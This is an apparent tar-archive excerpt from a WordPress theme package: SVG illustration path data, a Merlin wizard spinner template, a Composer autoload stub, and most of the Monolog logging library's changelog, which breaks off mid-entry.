C96.77375,82.59525 87.26475,82.59525 81.39875,76.73025 C75.53375,70.86425 75.53375,61.35425 81.39875,55.48925 C87.26475,49.62425 96.77375,49.62425 102.63975,55.48925" id="Fill-312" fill="#E7F7FF"></path> <path d="M86.597,59.7075 C85.994,59.6295 85.379,59.5905 84.77,59.5905 L84.733,58.0905 L84.77,58.0905 C85.443,58.0905 86.123,58.1345 86.789,58.2185 L86.597,59.7075 M81.042,60.0845 L80.652,58.6345 C81.316,58.4565 81.996,58.3205 82.674,58.2305 L82.871,59.7165 C82.258,59.7985 81.643,59.9215 81.042,60.0845 M90.198,60.6585 C89.625,60.4235 89.03,60.2235 88.427,60.0635 L88.812,58.6145 C89.477,58.7905 90.134,59.0105 90.766,59.2695 L90.198,60.6585 M77.605,61.5145 L76.851,60.2175 C77.444,59.8735 78.066,59.5645 78.7,59.3015 L79.276,60.6855 C78.703,60.9235 78.141,61.2025 77.605,61.5145 M93.423,62.5105 C92.932,62.1345 92.411,61.7875 91.871,61.4775 L92.62,60.1765 C93.214,60.5185 93.792,60.9035 94.335,61.3195 L93.423,62.5105 M74.68,63.7685 L73.595,62.7325 L73.62,62.7085 C74.094,62.2325 74.606,61.7825 75.139,61.3705 L76.057,62.5555 C75.574,62.9295 75.111,63.3385 74.68,63.7685 M96.092,65.1715 C95.717,64.6835 95.302,64.2115 94.86,63.7685 L95.889,62.6765 L95.92,62.7085 C96.409,63.1965 96.867,63.7175 97.282,64.2575 L96.092,65.1715 M72.395,66.7495 L71.094,66.0015 C71.435,65.4085 71.82,64.8315 72.239,64.2865 L73.428,65.1985 C73.05,65.6915 72.703,66.2135 72.395,66.7495 M97.955,68.3955 C97.719,67.8235 97.441,67.2595 97.13,66.7215 L98.429,65.9715 C98.773,66.5665 99.079,67.1885 99.342,67.8215 L97.955,68.3955 M70.977,70.1915 L69.528,69.8065 C69.703,69.1455 69.923,68.4875 70.185,67.8525 L71.572,68.4235 C71.336,68.9975 71.136,69.5915 70.977,70.1915 M98.918,71.9915 C98.837,71.3735 98.715,70.7585 98.555,70.1625 L100.004,69.7735 C100.181,70.4335 100.316,71.1135 100.405,71.7965 L98.918,71.9915 M69,73.8865 L69,73.8595 C69,73.1815 69.044,72.4985 69.13,71.8305 L70.619,72.0215 C70.54,72.6275 70.5,73.2455 70.5,73.8595 L69,73.8865 M100.408,75.9125 L98.919,75.7175 C98.999,75.1055 99.041,74.4805 99.041,73.8585 L100.54,73.8545 L100.54,73.8585 C100.54,74.5455 100.496,75.2355 100.408,75.9125 M69.542,77.9665 C69.365,77.3065 69.228,76.6275 69.138,75.9445 L70.624,75.7475 C70.706,76.3645 70.83,76.9805 70.991,77.5765 L69.542,77.9665 M99.347,79.8865 L97.96,79.3165 C98.198,78.7395 98.399,78.1445 98.558,77.5485 L100.007,77.9345 C99.831,78.5925 99.61,79.2505 99.347,79.8865 M71.124,81.7665 C70.778,81.1705 70.469,80.5475 70.207,79.9185 L71.592,79.3415 C71.829,79.9125 72.108,80.4745 72.42,81.0145 L71.124,81.7665 M97.289,83.4515 L96.099,82.5375 C96.48,82.0425 96.829,81.5205 97.136,80.9875 L98.435,81.7375 C98.095,82.3275 97.709,82.9035 97.289,83.4515 M73.636,85.0265 L73.62,85.0095 C73.139,84.5295 72.687,84.0155 72.274,83.4805 L73.461,82.5645 C73.835,83.0475 74.246,83.5135 74.68,83.9495 L73.636,85.0265 M94.382,86.3625 L93.466,85.1745 C93.955,84.7975 94.423,84.3855 94.86,83.9495 L95.929,85.0015 L95.92,85.0095 C95.439,85.4915 94.921,85.9465 94.382,86.3625 M76.902,87.5295 C76.307,87.1865 75.731,86.8015 75.188,86.3845 L76.1,85.1955 C76.591,85.5715 77.114,85.9205 77.652,86.2305 L76.902,87.5295 M90.818,88.4265 L90.244,87.0425 C90.817,86.8035 91.379,86.5255 91.916,86.2155 L92.668,87.5115 C92.075,87.8565 91.453,88.1645 90.818,88.4265 M80.706,89.0985 C80.04,88.9215 79.382,88.6995 78.751,88.4395 L79.324,87.0525 C79.894,87.2885 80.489,87.4885 81.092,87.6495 L80.706,89.0985 M86.843,89.4925 L86.646,88.0055 C87.262,87.9235 87.878,87.8015 88.477,87.6405 L88.866,89.0905 C88.204,89.2665 87.523,89.4025 86.843,89.4925 M84.786,89.6295 L84.77,89.6295 C84.089,89.6295 83.403,89.5845 82.73,89.4975 L82.923,88.0085 C83.533,88.0885 84.155,88.1295 84.77,88.1295 L84.786,89.6295" id="Fill-313" fill="#0073AA"></path> <polygon id="Fill-314" fill="#0073AA" points="13 99.5905 176.821 99.5905 176.821 98.0905 13 98.0905"></polygon> <polygon id="Fill-315" fill="#0073AA" points="8 99.5905 10.739 99.5905 10.739 98.0905 8 98.0905"></polygon> <polygon id="Fill-316" fill="#0073AA" points="178 99.5905 184.05 99.5905 184.05 98.0905 178 98.0905"></polygon> <path d="M123.193,97.8505 L79,97.8505 C79.009,97.4835 79.156,97.1265 79.427,96.8555 L87.587,88.6955 C88.03,88.6165 88.47,88.5185 88.902,88.4035 L88.685,87.5975 L95.741,80.5415 C96.952,80.2295 98.133,79.7635 99.25,79.1455 L99.383,79.1995 C99.406,79.1435 99.429,79.0885 99.451,79.0315 C100.578,78.3855 101.639,77.5805 102.601,76.6185 C104.569,74.6505 105.876,72.2725 106.524,69.7595 L123.193,53.0905 L123.193,66.3225 L99.522,89.9935 L123.193,89.9935 L123.193,97.8505 M91.952,85.5285 C91.415,85.8385 90.853,86.1165 90.28,86.3555 L90.854,87.7395 C91.489,87.4775 92.111,87.1695 92.704,86.8245 L91.952,85.5285 M94.896,83.2625 C94.459,83.6985 93.991,84.1105 93.502,84.4875 L94.418,85.6755 C94.957,85.2595 95.475,84.8045 95.956,84.3225 L95.965,84.3145 L94.896,83.2625 M97.172,80.3005 C96.865,80.8335 96.516,81.3555 96.135,81.8505 L97.325,82.7645 C97.745,82.2165 98.131,81.6405 98.471,81.0505 L97.172,80.3005" id="Fill-317" fill="#B4D7E7"></path> <polyline id="Fill-318" fill="#0073AA" points="133.246 97.7965 133 97.7965 133 54.0905 133 54.0945 133.246 97.7965"></polyline> <polyline id="Fill-319" fill="#4B97C6" points="132.707 98.3405 125 98.3405 125 90.4835 129.48 90.4835 129.48 60.8315 125 65.3125 125 52.0805 131.99 45.0905 132.707 45.0905 132.707 98.3405"></polyline> <path d="M123,97.8075 L124.5,97.8075 L124.5,89.9505 L123,89.9505 L123,97.8075 Z M123,66.2795 L123,53.0475 L124.5,51.5475 L124.5,64.7795 L123,66.2795 L123,66.2795 Z M132.957,44.5575 L131.49,44.5575 L132.957,43.0905 L132.957,44.5575 L132.957,44.5575 Z" id="Fill-320" fill="#0073AA"></path> <path d="M96,80.8725 L98.472,78.4005 C98.404,78.5885 98.332,78.7755 98.255,78.9605 L99.509,79.4765 C98.392,80.0945 97.211,80.5605 96,80.8725 M99.71,79.3625 C99.943,78.7785 100.142,78.1795 100.302,77.5785 L99.506,77.3665 L106.783,70.0905 C106.135,72.6035 104.828,74.9815 102.86,76.9495 C101.898,77.9115 100.837,78.7165 99.71,79.3625" id="Fill-321" fill="#93C5E0"></path> <path d="M88,88.7505 L89.098,87.6525 L89.315,88.4585 C88.883,88.5735 88.443,88.6715 88,88.7505 M91.267,87.7945 L90.693,86.4105 C91.266,86.1715 91.828,85.8935 92.365,85.5835 L93.117,86.8795 C92.524,87.2245 91.902,87.5325 91.267,87.7945 M94.831,85.7305 L93.915,84.5425 C94.404,84.1655 94.872,83.7535 95.309,83.3175 L96.378,84.3695 L96.369,84.3775 C95.888,84.8595 95.37,85.3145 94.831,85.7305 M97.738,82.8195 L96.548,81.9055 C96.929,81.4105 97.278,80.8885 97.585,80.3555 L98.884,81.1055 C98.544,81.6955 98.158,82.2715 97.738,82.8195 M99.796,79.2545 L99.663,79.2005 L98.409,78.6845 C98.486,78.4995 98.558,78.3125 98.626,78.1245 L99.66,77.0905 L100.456,77.3025 C100.296,77.9035 100.097,78.5025 99.864,79.0865 C99.842,79.1435 99.819,79.1985 99.796,79.2545" id="Fill-322" fill="#0073AA"></path> <path d="M132.400456,98.8405 L123.193456,98.8405 L123.193456,98.7865 L79.1894564,98.8175 L79.1124564,98.6885 C79.0314564,98.4945 78.9954564,98.2915 79.0004564,98.0905 L132.646456,98.0905 L132.650456,98.7755 L132.400456,98.7775 L132.400456,98.8405" id="Fill-323" fill="#0073AA"></path> <path d="M99.9627403,91.2652403 L132.17474,91.2652403 L132.17474,59.0532403 L99.9627403,91.2652403 Z M140.03174,99.1222403 L82.7137403,99.1222403 C82.0787403,99.1222403 81.7617403,98.3552403 82.2097403,97.9062403 L138.81674,41.3002403 C139.26474,40.8522403 140.03174,41.1692403 140.03174,41.8042403 L140.03174,99.1222403 L140.03174,99.1222403 Z" id="Fill-324" fill="#E7F7FF"></path> <path d="M102.522778,90.2654277 L132.173778,90.2654277 L132.173778,60.6134277 L102.522778,90.2654277 Z M133.673778,91.7654277 L98.901778,91.7654277 L133.673778,56.9924277 L133.673778,91.7654277 Z M140.031778,41.5534277 L83.489778,98.1864277 L140.031778,98.1234277 L140.031778,41.5534277 Z M141.531778,99.6224277 L83.462778,99.6224277 C82.868778,99.6224277 82.339778,99.2684277 82.112778,98.7204277 C81.884778,98.1724277 82.008778,97.5474277 82.427778,97.1274277 L139.034778,40.5204277 C139.453778,40.1004277 140.079778,39.9744277 140.627778,40.2034277 C141.176778,40.4294277 141.531778,40.9604277 141.531778,41.5534277 L141.531778,99.6224277 L141.531778,99.6224277 Z" id="Fill-325" fill="#0073AA"></path> <polygon id="Fill-326" fill="#0073AA" points="90 98.9135 91.5 98.9135 91.5 95.0905 90 95.0905"></polygon> <polygon id="Fill-327" fill="#0073AA" points="96 98.9135 97.5 98.9135 97.5 95.0905 96 95.0905"></polygon> <polygon id="Fill-328" fill="#0073AA" points="103 98.9135 104.5 98.9135 104.5 95.0905 103 95.0905"></polygon> <polygon id="Fill-329" fill="#0073AA" points="109 98.9135 110.5 98.9135 110.5 95.0905 109 95.0905"></polygon> <polygon id="Fill-330" fill="#0073AA" points="115 98.9135 116.5 98.9135 116.5 95.0905 115 95.0905"></polygon> <polygon id="Fill-331" fill="#0073AA" points="121 98.9135 122.5 98.9135 122.5 95.0905 121 95.0905"></polygon> <polygon id="Fill-332" fill="#0073AA" points="128 98.9135 129.5 98.9135 129.5 95.0905 128 95.0905"></polygon> <polygon id="Fill-333" fill="#0073AA" points="134 98.9135 135.5 98.9135 135.5 95.0905 134 95.0905"></polygon> <polygon id="Fill-334" fill="#0073AA" points="137 92.5905 140.823 92.5905 140.823 91.0905 137 91.0905"></polygon> <polygon id="Fill-335" fill="#0073AA" points="137 86.5905 140.823 86.5905 140.823 85.0905 137 85.0905"></polygon> <polygon id="Fill-336" fill="#0073AA" points="137 79.5905 140.823 79.5905 140.823 78.0905 137 78.0905"></polygon> <polygon id="Fill-337" fill="#0073AA" points="137 73.5905 140.823 73.5905 140.823 72.0905 137 72.0905"></polygon> <polygon id="Fill-338" fill="#0073AA" points="137 67.5905 140.823 67.5905 140.823 66.0905 137 66.0905"></polygon> <polygon id="Fill-339" fill="#0073AA" points="137 61.5905 140.823 61.5905 140.823 60.0905 137 60.0905"></polygon> <polygon id="Fill-340" fill="#0073AA" points="137 54.5905 140.823 54.5905 140.823 53.0905 137 53.0905"></polygon> <polygon id="Fill-341" fill="#0073AA" points="137 48.5905 140.823 48.5905 140.823 47.0905 137 47.0905"></polygon> <path d="M22.578,98.8455 L26.813,98.8455 C27.132,98.8455 27.391,98.5865 27.391,98.2675 L27.391,37.2565 L27.338,37.0145 L25.22,32.4265 C25.013,31.9785 24.377,31.9785 24.171,32.4265 L22.053,37.0145 L22,37.2565 L22,98.2675 C22,98.5865 22.258,98.8455 22.578,98.8455" id="Fill-342" fill="#FFFFFF"></path> <polygon id="Fill-343" fill="#62A6CF" points="22 92.8925 27.391 92.8925 27.391 39.0905 22 39.0905"></polygon> <path d="M22.5,98.1695 L26.39,98.1695 L26.39,37.3685 L24.445,33.1535 L22.5,37.3685 L22.5,98.1695 Z M27.89,99.6695 L21,99.6695 L21,37.0385 L23.453,31.7255 C23.633,31.3345 24.014,31.0905 24.446,31.0905 C24.877,31.0905 25.258,31.3345 25.438,31.7255 L27.89,37.0385 L27.89,99.6695 L27.89,99.6695 Z" id="Fill-344" fill="#0073AA"></path> <polygon id="Fill-345" fill="#0073AA" points="22 39.5905 27.577 39.5905 27.577 38.0905 22 38.0905"></polygon> <polygon id="Fill-346" fill="#0073AA" points="22 93.5905 28.195 93.5905 28.195 92.0905 22 92.0905"></polygon> </g> </symbol> </svg>���������������������������������������������������������������������merlin/assets/images/spinner.php��������������������������������������������������������������������0000644�����������������00000000421�15154650146�0012774 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<span class="merlin__button--loading__spinner"> <div class="merlin-spinner"> <svg class="merlin-spinner__svg" viewbox="25 25 50 50"> <circle class="path" cx="50" cy="50" r="20" fill="none" stroke-width="6" stroke-miterlimit="10"></circle> </svg> </div> </span>�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/autoload.php��������������������������������������������������������������������������0000644�����������������00000000262�15154650146�0011657 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // autoload.php @generated by Composer require_once __DIR__ . '/composer/autoload_real.php'; return ComposerAutoloaderInit04828d80146b9fd8fbee50609a30f85a::getLoader(); ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/monolog/monolog/CHANGELOG.md����������������������������������������������������������0000644�����������������00000077162�15154650146�0014310 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������### 2.2.0 (2020-12-14) * Added JSON_PARTIAL_OUTPUT_ON_ERROR to default json encoding flags, to avoid dropping entire context data or even records due to an invalid subset of it somewhere * Added setDateFormat to NormalizerFormatter (and Line/Json formatters by extension) to allow changing this after object creation * Added RedisPubSubHandler to log records to a Redis channel using PUBLISH * Added support for Elastica 7, and deprecated the $type argument of ElasticaFormatter which is not in use anymore as of Elastica 7 * Added support for millisecond write timeouts in SocketHandler, you can now pass floats to setWritingTimeout, e.g. 0.2 is 200ms * Added support for unix sockets in SyslogUdpHandler (set $port to 0 to make the $host a unix socket) * Added handleBatch support for TelegramBotHandler * Added RFC5424e extended date format including milliseconds to SyslogUdpHandler * Added support for configuring handlers with numeric level values in strings (coming from e.g. env vars) * Fixed Wildfire/FirePHP/ChromePHP handling of unicode characters * Fixed PHP 8 issues in SyslogUdpHandler * Fixed internal type error when mbstring is missing ### 2.1.1 (2020-07-23) * Fixed removing of json encoding options * Fixed type hint of $level not accepting strings in SendGridHandler and OverflowHandler * Fixed SwiftMailerHandler not accepting email templates with an empty subject * Fixed array access on null in RavenHandler * Fixed unique_id in WebProcessor not being disableable ### 2.1.0 (2020-05-22) * Added `JSON_INVALID_UTF8_SUBSTITUTE` to default json flags, so that invalid UTF8 characters now get converted to [�](https://en.wikipedia.org/wiki/Specials_(Unicode_block)#Replacement_character) instead of being converted from ISO-8859-15 to UTF8 as it was before, which was hardly a comprehensive solution * Added `$ignoreEmptyContextAndExtra` option to JsonFormatter to skip empty context/extra entirely from the output * Added `$parseMode`, `$disableWebPagePreview` and `$disableNotification` options to TelegramBotHandler * Added tentative support for PHP 8 * NormalizerFormatter::addJsonEncodeOption and removeJsonEncodeOption are now public to allow modifying default json flags * Fixed GitProcessor type error when there is no git repo present * Fixed normalization of SoapFault objects containing deeply nested objects as "detail" * Fixed support for relative paths in RotatingFileHandler ### 2.0.2 (2019-12-20) * Fixed ElasticsearchHandler swallowing exceptions details when failing to index log records * Fixed normalization of SoapFault objects containing non-strings as "detail" in LineFormatter * Fixed formatting of resources in JsonFormatter * Fixed RedisHandler failing to use MULTI properly when passed a proxied Redis instance (e.g. in Symfony with lazy services) * Fixed FilterHandler triggering a notice when handleBatch was filtering all records passed to it * Fixed Turkish locale messing up the conversion of level names to their constant values ### 2.0.1 (2019-11-13) * Fixed normalization of Traversables to avoid traversing them as not all of them are rewindable * Fixed setFormatter/getFormatter to forward to the nested handler in FilterHandler, FingersCrossedHandler, BufferHandler, OverflowHandler and SamplingHandler * Fixed BrowserConsoleHandler formatting when using multiple styles * Fixed normalization of exception codes to be always integers even for PDOException which have them as numeric strings * Fixed normalization of SoapFault objects containing non-strings as "detail" * Fixed json encoding across all handlers to always attempt recovery of non-UTF-8 strings instead of failing the whole encoding * Fixed ChromePHPHandler to avoid sending more data than latest Chrome versions allow in headers (4KB down from 256KB). * Fixed type error in BrowserConsoleHandler when the context array of log records was not associative. ### 2.0.0 (2019-08-30) * BC Break: This is a major release, see [UPGRADE.md](UPGRADE.md) for details if you are coming from a 1.x release * BC Break: Logger methods log/debug/info/notice/warning/error/critical/alert/emergency now have explicit void return types * Added FallbackGroupHandler which works like the WhatFailureGroupHandler but stops dispatching log records as soon as one handler accepted it * Fixed support for UTF-8 when cutting strings to avoid cutting a multibyte-character in half * Fixed normalizers handling of exception backtraces to avoid serializing arguments in some cases * Fixed date timezone handling in SyslogUdpHandler ### 2.0.0-beta2 (2019-07-06) * BC Break: This is a major release, see [UPGRADE.md](UPGRADE.md) for details if you are coming from a 1.x release * BC Break: PHP 7.2 is now the minimum required PHP version. * BC Break: Removed SlackbotHandler, RavenHandler and HipChatHandler, see [UPGRADE.md](UPGRADE.md) for details * Added OverflowHandler which will only flush log records to its nested handler when reaching a certain amount of logs (i.e. only pass through when things go really bad) * Added TelegramBotHandler to log records to a [Telegram](https://core.telegram.org/bots/api) bot account * Added support for JsonSerializable when normalizing exceptions * Added support for RFC3164 (outdated BSD syslog protocol) to SyslogUdpHandler * Added SoapFault details to formatted exceptions * Fixed DeduplicationHandler silently failing to start when file could not be opened * Fixed issue in GroupHandler and WhatFailureGroupHandler where setting multiple processors would duplicate records * Fixed GelfFormatter losing some data when one attachment was too long * Fixed issue in SignalHandler restarting syscalls functionality * Improved performance of LogglyHandler when sending multiple logs in a single request ### 2.0.0-beta1 (2018-12-08) * BC Break: This is a major release, see [UPGRADE.md](UPGRADE.md) for details if you are coming from a 1.x release * BC Break: PHP 7.1 is now the minimum required PHP version. * BC Break: Quite a few interface changes, only relevant if you implemented your own handlers/processors/formatters * BC Break: Removed non-PSR-3 methods to add records, all the `add*` (e.g. `addWarning`) methods as well as `emerg`, `crit`, `err` and `warn` * BC Break: The record timezone is now set per Logger instance and not statically anymore * BC Break: There is no more default handler configured on empty Logger instances * BC Break: ElasticSearchHandler renamed to ElasticaHandler * BC Break: Various handler-specific breaks, see [UPGRADE.md](UPGRADE.md) for details * Added scalar type hints and return hints in all the places it was possible. Switched strict_types on for more reliability. * Added DateTimeImmutable support, all record datetime are now immutable, and will toString/json serialize with the correct date format, including microseconds (unless disabled) * Added timezone and microseconds to the default date format * Added SendGridHandler to use the SendGrid API to send emails * Added LogmaticHandler to use the Logmatic.io API to store log records * Added SqsHandler to send log records to an AWS SQS queue * Added ElasticsearchHandler to send records via the official ES library. Elastica users should now use ElasticaHandler instead of ElasticSearchHandler * Added NoopHandler which is similar to the NullHandle but does not prevent the bubbling of log records to handlers further down the configuration, useful for temporarily disabling a handler in configuration files * Added ProcessHandler to write log output to the STDIN of a given process * Added HostnameProcessor that adds the machine's hostname to log records * Added a `$dateFormat` option to the PsrLogMessageProcessor which lets you format DateTime instances nicely * Added support for the PHP 7.x `mongodb` extension in the MongoDBHandler * Fixed many minor issues in various handlers, and probably added a few regressions too ### 1.26.0 (2020-12-14) * Added $dateFormat and $removeUsedContextFields arguments to PsrLogMessageProcessor (backport from 2.x) ### 1.25.5 (2020-07-23) * Fixed array access on null in RavenHandler * Fixed unique_id in WebProcessor not being disableable ### 1.25.4 (2020-05-22) * Fixed GitProcessor type error when there is no git repo present * Fixed normalization of SoapFault objects containing deeply nested objects as "detail" * Fixed support for relative paths in RotatingFileHandler ### 1.25.3 (2019-12-20) * Fixed formatting of resources in JsonFormatter * Fixed RedisHandler failing to use MULTI properly when passed a proxied Redis instance (e.g. in Symfony with lazy services) * Fixed FilterHandler triggering a notice when handleBatch was filtering all records passed to it * Fixed Turkish locale messing up the conversion of level names to their constant values ### 1.25.2 (2019-11-13) * Fixed normalization of Traversables to avoid traversing them as not all of them are rewindable * Fixed setFormatter/getFormatter to forward to the nested handler in FilterHandler, FingersCrossedHandler, BufferHandler and SamplingHandler * Fixed BrowserConsoleHandler formatting when using multiple styles * Fixed normalization of exception codes to be always integers even for PDOException which have them as numeric strings * Fixed normalization of SoapFault objects containing non-strings as "detail" * Fixed json encoding across all handlers to always attempt recovery of non-UTF-8 strings instead of failing the whole encoding ### 1.25.1 (2019-09-06) * Fixed forward-compatible interfaces to be compatible with Monolog 1.x too. ### 1.25.0 (2019-09-06) * Deprecated SlackbotHandler, use SlackWebhookHandler or SlackHandler instead * Deprecated RavenHandler, use sentry/sentry 2.x and their Sentry\Monolog\Handler instead * Deprecated HipChatHandler, migrate to Slack and use SlackWebhookHandler or SlackHandler instead * Added forward-compatible interfaces and traits FormattableHandlerInterface, FormattableHandlerTrait, ProcessableHandlerInterface, ProcessableHandlerTrait. If you use modern PHP and want to make code compatible with Monolog 1 and 2 this can help. You will have to require at least Monolog 1.25 though. * Added support for RFC3164 (outdated BSD syslog protocol) to SyslogUdpHandler * Fixed issue in GroupHandler and WhatFailureGroupHandler where setting multiple processors would duplicate records * Fixed issue in SignalHandler restarting syscalls functionality * Fixed normalizers handling of exception backtraces to avoid serializing arguments in some cases * Fixed ZendMonitorHandler to work with the latest Zend Server versions * Fixed ChromePHPHandler to avoid sending more data than latest Chrome versions allow in headers (4KB down from 256KB). ### 1.24.0 (2018-11-05) * BC Notice: If you are extending any of the Monolog's Formatters' `normalize` method, make sure you add the new `$depth = 0` argument to your function signature to avoid strict PHP warnings. * Added a `ResettableInterface` in order to reset/reset/clear/flush handlers and processors * Added a `ProcessorInterface` as an optional way to label a class as being a processor (mostly useful for autowiring dependency containers) * Added a way to log signals being received using Monolog\SignalHandler * Added ability to customize error handling at the Logger level using Logger::setExceptionHandler * Added InsightOpsHandler to migrate users of the LogEntriesHandler * Added protection to NormalizerFormatter against circular and very deep structures, it now stops normalizing at a depth of 9 * Added capture of stack traces to ErrorHandler when logging PHP errors * Added RavenHandler support for a `contexts` context or extra key to forward that to Sentry's contexts * Added forwarding of context info to FluentdFormatter * Added SocketHandler::setChunkSize to override the default chunk size in case you must send large log lines to rsyslog for example * Added ability to extend/override BrowserConsoleHandler * Added SlackWebhookHandler::getWebhookUrl and SlackHandler::getToken to enable class extensibility * Added SwiftMailerHandler::getSubjectFormatter to enable class extensibility * Dropped official support for HHVM in test builds * Fixed normalization of exception traces when call_user_func is used to avoid serializing objects and the data they contain * Fixed naming of fields in Slack handler, all field names are now capitalized in all cases * Fixed HipChatHandler bug where slack dropped messages randomly * Fixed normalization of objects in Slack handlers * Fixed support for PHP7's Throwable in NewRelicHandler * Fixed race bug when StreamHandler sometimes incorrectly reported it failed to create a directory * Fixed table row styling issues in HtmlFormatter * Fixed RavenHandler dropping the message when logging exception * Fixed WhatFailureGroupHandler skipping processors when using handleBatch and implement it where possible * Fixed display of anonymous class names ### 1.23.0 (2017-06-19) * Improved SyslogUdpHandler's support for RFC5424 and added optional `$ident` argument * Fixed GelfHandler truncation to be per field and not per message * Fixed compatibility issue with PHP <5.3.6 * Fixed support for headless Chrome in ChromePHPHandler * Fixed support for latest Aws SDK in DynamoDbHandler * Fixed support for SwiftMailer 6.0+ in SwiftMailerHandler ### 1.22.1 (2017-03-13) * Fixed lots of minor issues in the new Slack integrations * Fixed support for allowInlineLineBreaks in LineFormatter when formatting exception backtraces ### 1.22.0 (2016-11-26) * Added SlackbotHandler and SlackWebhookHandler to set up Slack integration more easily * Added MercurialProcessor to add mercurial revision and branch names to log records * Added support for AWS SDK v3 in DynamoDbHandler * Fixed fatal errors occurring when normalizing generators that have been fully consumed * Fixed RollbarHandler to include a level (rollbar level), monolog_level (original name), channel and datetime (unix) * Fixed RollbarHandler not flushing records automatically, calling close() explicitly is not necessary anymore * Fixed SyslogUdpHandler to avoid sending empty frames * Fixed a few PHP 7.0 and 7.1 compatibility issues ### 1.21.0 (2016-07-29) * Break: Reverted the addition of $context when the ErrorHandler handles regular php errors from 1.20.0 as it was causing issues * Added support for more formats in RotatingFileHandler::setFilenameFormat as long as they have Y, m and d in order * Added ability to format the main line of text the SlackHandler sends by explicitly setting a formatter on the handler * Added information about SoapFault instances in NormalizerFormatter * Added $handleOnlyReportedErrors option on ErrorHandler::registerErrorHandler (default true) to allow logging of all errors no matter the error_reporting level ### 1.20.0 (2016-07-02) * Added FingersCrossedHandler::activate() to manually trigger the handler regardless of the activation policy * Added StreamHandler::getUrl to retrieve the stream's URL * Added ability to override addRow/addTitle in HtmlFormatter * Added the $context to context information when the ErrorHandler handles a regular php error * Deprecated RotatingFileHandler::setFilenameFormat to only support 3 formats: Y, Y-m and Y-m-d * Fixed WhatFailureGroupHandler to work with PHP7 throwables * Fixed a few minor bugs ### 1.19.0 (2016-04-12) * Break: StreamHandler will not close streams automatically that it does not own. If you pass in a stream (not a path/url), then it will not close it for you. You can retrieve those using getStream() if needed * Added DeduplicationHandler to remove duplicate records from notifications across multiple requests, useful for email or other notifications on errors * Added ability to use `%message%` and other LineFormatter replacements in the subject line of emails sent with NativeMailHandler and SwiftMailerHandler * Fixed HipChatHandler handling of long messages ### 1.18.2 (2016-04-02) * Fixed ElasticaFormatter to use more precise dates * Fixed GelfMessageFormatter sending too long messages ### 1.18.1 (2016-03-13) * Fixed SlackHandler bug where slack dropped messages randomly * Fixed RedisHandler issue when using with the PHPRedis extension * Fixed AmqpHandler content-type being incorrectly set when using with the AMQP extension * Fixed BrowserConsoleHandler regression ### 1.18.0 (2016-03-01) * Added optional reduction of timestamp precision via `Logger->useMicrosecondTimestamps(false)`, disabling it gets you a bit of performance boost but reduces the precision to the second instead of microsecond * Added possibility to skip some extra stack frames in IntrospectionProcessor if you have some library wrapping Monolog that is always adding frames * Added `Logger->withName` to clone a logger (keeping all handlers) with a new name * Added FluentdFormatter for the Fluentd unix socket protocol * Added HandlerWrapper base class to ease the creation of handler wrappers, just extend it and override as needed * Added support for replacing context sub-keys using `%context.*%` in LineFormatter * Added support for `payload` context value in RollbarHandler * Added setRelease to RavenHandler to describe the application version, sent with every log * Added support for `fingerprint` context value in RavenHandler * Fixed JSON encoding errors that would gobble up the whole log record, we now handle those more gracefully by dropping chars as needed * Fixed write timeouts in SocketHandler and derivatives, set to 10sec by default, lower it with `setWritingTimeout()` * Fixed PHP7 compatibility with regard to Exception/Throwable handling in a few places ### 1.17.2 (2015-10-14) * Fixed ErrorHandler compatibility with non-Monolog PSR-3 loggers * Fixed SlackHandler handling to use slack functionalities better * Fixed SwiftMailerHandler bug when sending multiple emails they all had the same id * Fixed 5.3 compatibility regression ### 1.17.1 (2015-08-31) * Fixed RollbarHandler triggering PHP notices ### 1.17.0 (2015-08-30) * Added support for `checksum` and `release` context/extra values in RavenHandler * Added better support for exceptions in RollbarHandler * Added UidProcessor::getUid * Added support for showing the resource type in NormalizedFormatter * Fixed IntrospectionProcessor triggering PHP notices ### 1.16.0 (2015-08-09) * Added IFTTTHandler to notify ifttt.com triggers * Added Logger::setHandlers() to allow setting/replacing all handlers * Added $capSize in RedisHandler to cap the log size * Fixed StreamHandler creation of directory to only trigger when the first log write happens * Fixed bug in the handling of curl failures * Fixed duplicate logging of fatal errors when both error and fatal error handlers are registered in monolog's ErrorHandler * Fixed missing fatal errors records with handlers that need to be closed to flush log records * Fixed TagProcessor::addTags support for associative arrays ### 1.15.0 (2015-07-12) * Added addTags and setTags methods to change a TagProcessor * Added automatic creation of directories if they are missing for a StreamHandler to open a log file * Added retry functionality to Loggly, Cube and Mandrill handlers so they retry up to 5 times in case of network failure * Fixed process exit code being incorrectly reset to 0 if ErrorHandler::registerExceptionHandler was used * Fixed HTML/JS escaping in BrowserConsoleHandler * Fixed JSON encoding errors being silently suppressed (PHP 5.5+ only) ### 1.14.0 (2015-06-19) * Added PHPConsoleHandler to send record to Chrome's PHP Console extension and library * Added support for objects implementing __toString in the NormalizerFormatter * Added support for HipChat's v2 API in HipChatHandler * Added Logger::setTimezone() to initialize the timezone monolog should use in case date.timezone isn't correct for your app * Added an option to send formatted message instead of the raw record on PushoverHandler via ->useFormattedMessage(true) * Fixed curl errors being silently suppressed ### 1.13.1 (2015-03-09) * Fixed regression in HipChat requiring a new token to be created ### 1.13.0 (2015-03-05) * Added Registry::hasLogger to check for the presence of a logger instance * Added context.user support to RavenHandler * Added HipChat API v2 support in the HipChatHandler * Added NativeMailerHandler::addParameter to pass params to the mail() process * Added context data to SlackHandler when $includeContextAndExtra is true * Added ability to customize the Swift_Message per-email in SwiftMailerHandler * Fixed SwiftMailerHandler to lazily create message instances if a callback is provided * Fixed serialization of INF and NaN values in Normalizer and LineFormatter ### 1.12.0 (2014-12-29) * Break: HandlerInterface::isHandling now receives a partial record containing only a level key. This was always the intent and does not break any Monolog handler but is strictly speaking a BC break and you should check if you relied on any other field in your own handlers. * Added PsrHandler to forward records to another PSR-3 logger * Added SamplingHandler to wrap around a handler and include only every Nth record * Added MongoDBFormatter to support better storage with MongoDBHandler (it must be enabled manually for now) * Added exception codes in the output of most formatters * Added LineFormatter::includeStacktraces to enable exception stack traces in logs (uses more than one line) * Added $useShortAttachment to SlackHandler to minify attachment size and $includeExtra to append extra data * Added $host to 